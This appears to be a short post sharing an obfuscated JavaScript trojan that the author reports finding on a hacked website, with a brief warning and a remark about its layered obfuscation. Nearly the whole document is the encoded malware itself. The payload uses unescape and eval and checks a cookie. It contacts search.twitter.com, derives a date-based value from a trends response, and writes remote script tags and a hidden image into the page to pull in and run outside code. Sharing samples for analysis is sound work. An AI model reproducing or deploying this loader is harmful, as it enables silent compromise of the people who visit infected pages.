A Javascript trojan I found on a hacked website. Careful! Executing this code in your browser wil have unknown and likely harmful effects!

js_trojan_caught_in_wild.js

$a="Z63dZ3dZ22Z253dst+Z2553tZ2572iZ256eg.Z2566Z2572oZ256dCZ2568arCZ256fdeZ2528(tmZ2570Z252eZ2563hZ22;dzZ3dZ22Z2566Z2575nZ2563tZ2569on Z2564wZ2528t)Z257bcaZ253dZ2527Z252564Z25256fcZ252575mZ252565Z256eZ2574.Z252577ritZ252565Z25252Z2538Z252522Z2527;ceZ253dZ2527Z25252Z2532)Z2527;cZ2562Z253dZ2527Z25253cscrZ252569pZ252574Z2520Z25256caZ25256eguZ252561gZ252565Z25253dZ25255cZ252522Z256aaZ2576aZ2573Z2563Z252572iZ252570tZ2525Z2535Z2563Z252522Z25253Z2565Z2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ252572Z2569Z252570Z252574Z25253eZ2527;eZ2576aZ256c(unZ2565scaZ2570e(Z2574))Z257dZ253bZ22;caZ3dZ22Z2566Z2575Z256ecZ2574iZ256fn dZ2563sZ2528ds,Z2565sZ2529Z257bdsZ253duneZ2573capZ2565Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edZ22;opZ3dZ22Z2524Z2561Z253dZ2522dw(dcsZ2528cu,Z25314)Z2529;Z2522Z253bZ22;dbZ3dZ22gZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0!Z2520;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vrs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07hucZ22;stZ3dZ22Z2573tZ253dZ2522$Z2561Z253dsZ2574;Z2564cZ2573(Z2564aZ252bdZ2562Z252bZ2564Z2563+Z2564dZ252bdZ2565Z252c1Z2530)Z253bdZ2577(Z2573Z2574Z2529;Z2573tZ253dZ2524aZ253bZ2522;Z22;dcZ3dZ227Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fZ22;czZ3dZ22Z2566Z2575Z256eZ2563tioZ256eZ2520czZ2528cz)Z257brZ2565tuZ2572n Z2563aZ252bcb+Z2563cZ252bcdZ252bce+Z2563Z257aZ253b}Z253bZ22;ceZ3dZ22aZ2572Z2543odZ2565AtZ25280)Z255eZ2528Z25270x0Z2530Z2527+eZ2573))Z2529;Z257dZ257dZ22;ccZ3dZ225ngtZ2568Z253bZ2569+Z252b)Z257btmpZ253ddZ2573.Z2573licZ2565(iZ252ci+Z2531);Z2573tZ22;ddZ3dZ22qb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iZ22;cbZ3dZ22(Z2564s);Z2573tZ253dtmZ2570Z253dZ2527Z2527;forZ2528Z2569Z253d0Z253bZ2569Z253cds.lZ256Z22;deZ3dZ22uqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sz|KZ2520;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;Z69Z66Z20(Z64Z6fcuZ6denZ74.coZ6fkieZ2eindZ65xOZ66Z28Z27rf5fZ36Z64sZ27)Z3dZ3d-1)Z7bfunZ63Z74iZ6fn Z63allZ62aZ63Z6b(xZ29Z7bwindoZ77.tZ77Z20Z3d x;Z76Z61rZ20dZ20Z3dZ20newZ20DZ61tZ65Z28);dZ2eseZ74TiZ6de(Z78Z5bZ22as_Z6fZ66Z22]*Z31Z30Z300);Z76arZ20hZ20Z3dZ20dZ2egZ65tZ55TCHZ6fursZ28);Z77iZ6edZ6fwZ2ehZ20Z3d h;if Z28h Z3e 8)Z7bd.sZ65tZ55TCDZ61Z74eZ28d.gZ65tUZ54CZ44Z61Z74Z65()Z20-Z202);Z7delsZ65Z7bd.seZ74UTCZ44ateZ28d.Z67etUZ54CDaZ74e()Z20Z2d Z33)Z3b}wZ69ndZ6fw.gZ64Z20Z3d d;Z76arZ20tiZ6dZ65 Z3d Z6eewZ20ArZ72Z61y(Z29;vaZ72 shZ69ftZ49nZ64Z65xZ20Z3dZ20Z22Z22;timeZ5bZ22yearZ22] Z3d d.Z67etUZ54CFuZ6clZ59earZ28)Z3btimZ65[Z22moZ6etZ68Z22] Z3d dZ2egeZ74UZ54Z43MoZ6etZ68()+Z31;tZ69mZ65[Z22daZ79Z22] Z3d d.gZ65tUZ54CZ44aZ74e(Z29;ifZ20(dZ2egZ65tZ55TZ43MZ6fntZ68()+Z31 Z3cZ2010)Z7bshiZ66Z74IZ6edeZ78 Z3d timZ65[Z22yearZ22] +Z20Z22-0Z22 +Z20Z28d.gZ65tUTZ43MonZ74h(Z29+Z31Z29;}Z65Z6csZ65Z7bshifZ74InZ64eZ78 Z3d tZ69meZ5bZ22yearZ22] +Z20Z22Z2dZ22 Z2b (dZ2egeZ74Z55TCZ4donZ74h(Z29+Z31);Z7dZ69f Z28dZ2eZ67Z65tUZ54CDZ61teZ28Z29 Z3c 10Z29Z7bsZ68ifZ74IndZ65x Z3dshZ69ftZ49ndeZ78 + Z22Z2dZ30Z22 + dZ2eZ67Z65tUZ54CZ44aZ74e()Z3b}eZ6cseZ7bshZ69ftIZ6eZ64Z65Z78 Z3d sZ68ifZ74IZ6edZ65x +Z20Z22-Z22 +Z20dZ2eZ67etUZ54CDZ61tZ65()Z3b}dZ6fcZ75Z6dentZ2ewZ72iZ74Z65Z28Z22Z3cscrZ22+Z22ipt Z6caZ6eguZ61geZ3djZ61vasZ63rZ69ptZ22+Z22 srcZ3dZ27http:Z2fZ2fsearchZ2eZ74wiZ74teZ72.coZ6dZ2ftrZ65nZ64Z73Z2fdaZ69Z6cyZ2eZ6asonZ3fdatZ65Z3dZ22+ shiZ66tInZ64eZ78Z2bZ22&Z63allZ62Z61Z63Z6bZ3dcallbZ61ck2Z27Z3eZ22 + Z22Z3cZ2fscrZ22 Z2b Z22iZ70Z74Z3eZ22);Z7d fZ75nZ63tioZ6e Z63Z61lZ6cbZ61cZ6b2(Z78)Z7bwindZ6fZ77.tZ77Z20Z3d x;Z73c(Z27rf5Z666dZ73Z27,2,7)Z3bevaZ6c(Z75Z6eesZ63apeZ28dzZ2bZ63zZ2bopZ2bsZ74)+Z27dwZ28Z64z+cZ7a($Z61+stZ29Z29;Z27);dZ6fcZ75menZ74.Z77ritZ65(Z24a)Z3b}dZ6fZ63umeZ6et.wZ72iteZ28Z22Z3cimgZ20sZ72cZ3dZ27http:Z2fZ2fseZ61rcZ68Z2etZ77Z69tteZ72.coZ6dZ2fZ69mZ61Z67eZ73Z2fseZ61rcZ68Z2frss.Z70ngZ27 wZ69dtZ68Z3d1Z20Z68Z65ighZ74Z3d1 stZ79lZ65Z3dZ27visibilZ69tZ79:hiZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt Z6cangZ75agZ65Z3djavZ61sZ63riZ70tZ22+Z22 srcZ3dZ27httZ70:Z2fZ2fseaZ72ch.Z74Z77ittZ65rZ2ecomZ2fZ74renZ64sZ2fdaiZ6cy.jZ73Z6fn?cZ61lZ6cZ62ackZ3dcaZ6clbZ61ckZ27Z3eZ22 + Z22Z3cZ2fscrZ22 +Z20Z22ipZ74Z3eZ22);Z7deZ6csZ65Z7b$aZ3dZ27Z27};functionZ20sZ63Z28Z63nm,Z76Z2cedZ29Z7bvar eZ78dZ3dnewZ20DatZ65()Z3beZ78d.Z73Z65tZ44aZ74Z65Z28exdZ2egeZ74Z44aZ74Z65Z28)Z2bedZ29;dZ6fcZ75menZ74.cZ6fokiZ65Z3dcnZ6d+ Z27Z3dZ27 +esZ63apeZ28v)Z2bZ27;expiZ72esZ3dZ27+eZ78Z64.Z74Z6fZ47Z4dTZ53Z74rinZ67();Z7dZ3b";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}alert(z($a));

There are multiple levels of obfuscation (unescape() and eval()) and at least one red herring that I've discovered so far.